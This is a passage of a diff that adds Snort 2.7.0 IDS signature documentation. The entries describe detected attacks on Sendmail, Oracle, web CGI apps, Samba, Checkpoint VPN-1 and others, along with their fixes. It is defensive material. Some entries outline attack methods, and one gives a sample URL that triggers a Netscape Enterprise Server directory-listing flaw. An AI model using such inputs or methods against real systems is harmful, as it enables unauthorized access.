+
+--
+Affected Systems:
+Sendmail version 8.6.9.
+
+--
+Attack Scenarios:
+An attacker can request a connection to a Sendmail server, listen for the request for the ident service, and respond with a malicious payload to exploit the vulnerability.
+
+--
+Ease of Attack:
+Easy.  Exploit code is available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the appropriate patch or upgrade to a Sendmail version greater than 8.6.9.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Rule updated by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0204
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2880.txt
+++ snort-2.7.0/doc/signatures/2880.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2880
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_delete_resolution
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000561.txt
+++ snort-2.7.0/doc/signatures/100000561.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000561
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "dotProject" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "login" parameter in the "ui.class.php" script 
+used by the "dotProject" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using dotProject
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1978.txt
+++ snort-2.7.0/doc/signatures/1978.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1978
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+NGS Whitepaper - Advanced SQL Injection
+www.nextgenss.com/papers/advanced_sql_injection.pdf
+
+--
--- snort-2.7.0.orig/doc/signatures/2467.txt
+++ snort-2.7.0/doc/signatures/2467.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2467
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1770.txt
+++ snort-2.7.0/doc/signatures/1770.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1770
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/772.txt
+++ snort-2.7.0/doc/signatures/772.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+
+772
+
+--
+Summary:
+This event is generated when the PrettyPark virus attempts to spread.
+
+--
+Impact:
+Possible virus infection. Attempt to spread a virus/trojan.
+
+--
+Detailed Information:
+Prettypark is a Win32 based Internet worm. This spreads through the Internet by attaching itself to email messages.
+
+When the attached file is executed, it checks for the existence of Prettypark in memory, if it is not present it then installs Prettypark. After infecting it sends messages to all the email addresses listed in the address book with an attachment containing the virus.
+
+Prettypark is capable of revealing passwords and connects to IRC channels. System access is possible.
+
+--
+Affected Systems:
+Windows 95, 98 and NT
+
+--
+Attack Scenarios:
+This is virus propogation activity.
+
+--
+Ease of Attack:
+
+Simple.
+
+--
+False Positives:
+
+Possible in certain mail content
+
+--
+False Negatives:
+
+None known
+
+--
+Corrective Action:
+ 
+Use an Anti-Virus tool to remove it.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+http://www.nwinternet.com/~pchelp/bo/prettypark.htm
+--
--- snort-2.7.0.orig/doc/signatures/1453.txt
+++ snort-2.7.0/doc/signatures/1453.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1453
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2341.txt
+++ snort-2.7.0/doc/signatures/2341.txt
@@ -0,0 +1,63 @@
+Rule:  
+
+--
+Sid:
+2341
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application DCP-Portal.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+DCP-Portal contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the variable root when 
+making a GET or POST  request  to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root by supplying
+their code in a file included from an external source by modifying the
+variable "root" in the editor.php script.
+
+--
+Affected Systems:
+	DCP-Portal 5.0.1
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path for the root variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <matthew.watchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2222.txt
+++ snort-2.7.0/doc/signatures/2222.txt
@@ -0,0 +1,54 @@
+Rule:  
+
+--
+Sid:
+2222
+
+--
+Summary:
+This event is generated when an attempt is made to access nph-exploitscanget.cgi on an internal web server. This may indicate an attempt to exploit a cross-site scripting or policy bypass vulnerability in Exploit Labs Wood's Infinity Scan EZ 3.69 or The Infinity Project Infinity CGI Exploit Scanner 3.11 Beta.
+
+--
+Impact:
+At the minimum, a bypass of scanning policies which may lead to a future compromise of the server. At the maximum, remote execution of arbitrary code on a client machine.
+
+--
+Detailed Information:
+The Exploit Labs Wood's Infinity Scan EZ 3.69 and The Infinity Project Infinity CGI Exploit Scanner 3.11 Beta Internet vulnerability scanners contain multiple vulnerabilities. One vulnerability is the bypassing of scanning policies configured by the software, which may enable an attacker to scan systems that have been configured to disallow scans. In addition, these scanners contain cross-site scripting vulnerabilities that allow an attacker to craft a URL that, when activated by a legitimate user, executes malicious code on the user's computer with the security context of the server that is hosting the scanner software.
+
+--
+Affected Systems:
+Any system running Exploit Labs Wood's Infinity Scan EZ 3.69 or The Infinity Project Infinity CGI Exploit Scanner 3.11 Beta, or any user who activates a specially-crafted hyperlink to the system.
+
+--
+Attack Scenarios:
+An attacker crafts a hyperlink to a server running vulnerable scanner software that contains malicious code. When an unsuspecting user activates the hyperlink, arbitrary code may be run on the user's computer with the security context of the scanner server.
+
+--
+Ease of Attack:
+Simple. An exploit exists for the cross-site scripting vulnerability; no exploit is required for the policy bypass vulnerability.
+
+--
+False Positives:
+If a legitimate remote user accesses nph-exploitscanget.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+It is not known if these vulnerabilities have been patched or fixed in later versions. Contact the vendor for more information.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2379.txt
+++ snort-2.7.0/doc/signatures/2379.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+2379
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Checkpoint VPN-1.
+
+--
+Impact:
+Unauthorized administrative access to Checkpoint VPN-1 systems
+
+--
+Detailed Information:
+Checkpoint VPN-1, SecuRemote and SecureClient contain an error that
+affects the processing of large Certificate requests to the VPN service.
+By sending a large amount of data in the Certificate Request payload an
+attacker may cause a buffer overflow condition to occur, presenting an
+opportunity to execute code of their choosing with the privileges of the
+user running the service, usually root.
+
+--
+Affected Systems:
+	CheckPoint Software FW-1 1.4.1 Service packs prior to SP6
+	CheckPoint Software FW-1 Next Generation FP1, FP0
+	CheckPoint Software VPN-1 1.4.1 SP5a
+	CheckPoint Software VPN-1 Next Generation FP1, FP0
+
+--
+Attack Scenarios:
+An attacker could supply a large Certificate Request payload containing
+code to be executed on the system.
+
+--
+Ease of Attack:
+Proof of concept code exists.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/954.txt
+++ snort-2.7.0/doc/signatures/954.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+954
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/436.txt
+++ snort-2.7.0/doc/signatures/436.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+436
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Redirect for the Type of Service and Host datagram.
+
+--
+
+Impact:
+Redirect messages are normally an indication that a shorter route to a particular destination exists.  
+
+--
+
+Detailed Information:
+ICMP Redirect messages are generated by gateway devices when a shorter route to the destination exists.  When a gateway device receives an Internet datagram from a host on the same network a check is performed to determine the address of the next hop (gateway) in the route to the datagrams destination.  The datagram is then forward to the next hop on the route.  If this gateway device is also on the same network, the gateway device generates an ICMP Redirect message and sends it back to the host that originally generated the traffic.  The ICMP redirect message informs the original host that a shorter route exists and any additional traffic should be forwarded directly to the closer gateway device.
+
+--
+
+Attack Scenarios:
+Attackers on the local subnet could potentially use ICMP Redirect messages to force hosts to use compromised gateway devices.  
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+ICMP Redirect datagrams are legitimate Internet traffic if a shorter route to a destination actually exists.  
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Ingress filtering should be utilized to block incoming ICMP Type 5 datagrams
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+RFC792
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1718.txt
+++ snort-2.7.0/doc/signatures/1718.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1718
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1488.txt
+++ snort-2.7.0/doc/signatures/1488.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1488
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2760.txt
+++ snort-2.7.0/doc/signatures/2760.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2760
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure define_column_group
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2420.txt
+++ snort-2.7.0/doc/signatures/2420.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2420
+
+--
+Summary:
+This event is generated when an attempt is made to download a file that
+may be an attack vector for a known exploit to a vulnerability in Real 
+Networks RealPlayer/RealOne player.
+
+--
+Impact:
+Serious. Execution of arbitrary code.
+
+--
+Detailed Information:
+RealNetworks RealPlayer/RealOne player is a streaming media player for
+Microsoft Windows, Apple Macintosh and UNIX/Linux based operating systems.
+
+A buffer overrun condition is present in some versions of the player
+that may present a remote attacker with the opportunity to execute code
+of their choosing on a client using one of these players.
+
+--
+Affected Systems:
+	Real Networks RealOne Desktop Manager
+	Real Networks RealOne Enterprise Desktop 6.0.11 .774
+	Real Networks RealOne Player 1.0
+	Real Networks RealOne Player 2.0
+	Real Networks RealOne Player 6.0.11 .868
+	Real Networks RealOne Player version 2.0 for Windows
+	Real Networks RealPlayer 8.0 Win32
+	Real Networks RealPlayer 8.0 Unix
+	Real Networks RealPlayer 8.0 Mac
+	Real Networks RealPlayer 10.0 BETA
+
+--
+Attack Scenarios:
+An attacker may supply a malformed file to the client to exploit the
+issue.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1570.txt
+++ snort-2.7.0/doc/signatures/1570.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1570
+
+--
+Summary:
+This event is generated when an attempt is made to access the file
+loadpage.cgi.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain access to the
+script loadpage.cgi, part of the CGI application AHG EZshopper running
+on a web server. Some applications do not perform stringent checks when
+validating the credentials of a client host connecting to the services
+offered on a host server. This can lead to unauthorized access and
+possibly escalated privileges to that of the administrator. Data stored
+on the machine can be compromised and trust relationships between the
+victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+
+	AHG EZshopper v3.0 and v2.0 for UNIX
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+NSFocus:
+http://www.nsfocus.com/english/homepage/research/0009.htm
+
+--
--- snort-2.7.0.orig/doc/signatures/2031.txt
+++ snort-2.7.0/doc/signatures/2031.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2031
+
+--
+Summary:
+The rpc.ypasswd service is used to update user information remotely. 
+This service should not be available outside the local area network, 
+external source.
+
+--
+Impact:
+This may be an intelligence gathering activity on available rpc services
+on a machine connected to external resources. The possibility also 
+exists that an attacker may already have gained access to a NIS server 
+and thus all resources connected to that host.
+
+--
+Detailed Information:
+A vulnerability exists in some versions of the rpc.ypasswd service that
+can lead to a remote root compromise of a vulnerable host. This activity
+may be an intelligence gathering exercise to ascertain wether or not the
+host is vulnerable to this attack.
+
+This activity may also indicate a possible compromise of a NIS server 
+via a legitimate user account the attacker has previously garnered. 
+Compromise of a master NIS server may present the attacker with easy 
+access to all NIS resources the machine is connected to.
+
+--
+Affected Systems:
+All systems running the rpc.ypasswd service.
+
+--
+Attack Scenarios:
+The attacker can make a request to update user information via 
+rpc.ypasswd.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the rpc.ypasswd daemon.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+SANS:
+http://www.sans.org/rr/unix/NIS.php
+http://www.sans.org/rr/unix/sec_solaris.php
+
+--
--- snort-2.7.0.orig/doc/signatures/3115.txt
+++ snort-2.7.0/doc/signatures/3115.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3115
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1191.txt
+++ snort-2.7.0/doc/signatures/1191.txt
@@ -0,0 +1,81 @@
+Rule:  
+
+--
+Sid:
+1191
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+vulnerability in some versions of Netscape Enterprise Server.
+ 
+--
+Impact:
+Information leak which could provide an attacker with the data needed to
+launch further attacks or gain more detailed information about your web
+server. Also, the html-rend command can be used to launch denial of
+service attacks. 
+
+--
+Detailed Information:
+A user can see a directory listing by appending a Web Publishing command
+to the end of a directory URL, for example: "http://www.sun.com/?wp-html-rend".
+
+This exploit will work on Netscape Enterprise Server regardless of
+directory indexing settings.  
+
+It will not work on iPlanet Web Server if directory indexing is set to
+"none" or "fancy" (the default). Web Publishing need not be enabled for
+this exploit to work.
+
+Additionally, on Windows NT and Windows 2000, a specially crafted URL
+can use this command to cause an access violation error and crash the web server. 
+
+--
+Affected Systems:
+	Netscape Enterprise Server 3.0, 3.51 and 3.6
+
+--
+Attack Scenarios:
+The gathering of information such as directory listings is valuable when
+planning to attack a web server. Also, this command may be used to carry
+out a denial of service (DoS) attack. 
+
+--
+Ease of Attack:
+Simple. No exploit software required however, an automated tool for
+scanning exists as does an exploit script.
+
+--
+False Positives:
+A web server that uses URLs which contain web publishing commands.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable directory indexing. For earlier versions of Netscape Enterprise
+Server, this may not fix the problem. On iPlanet, you can also change
+the indexing type to "fancy".
+
+To fix the potential DOS vulnerability, upgrade to at least iWS 4.1 SP8.
+
+--
+Contributors:
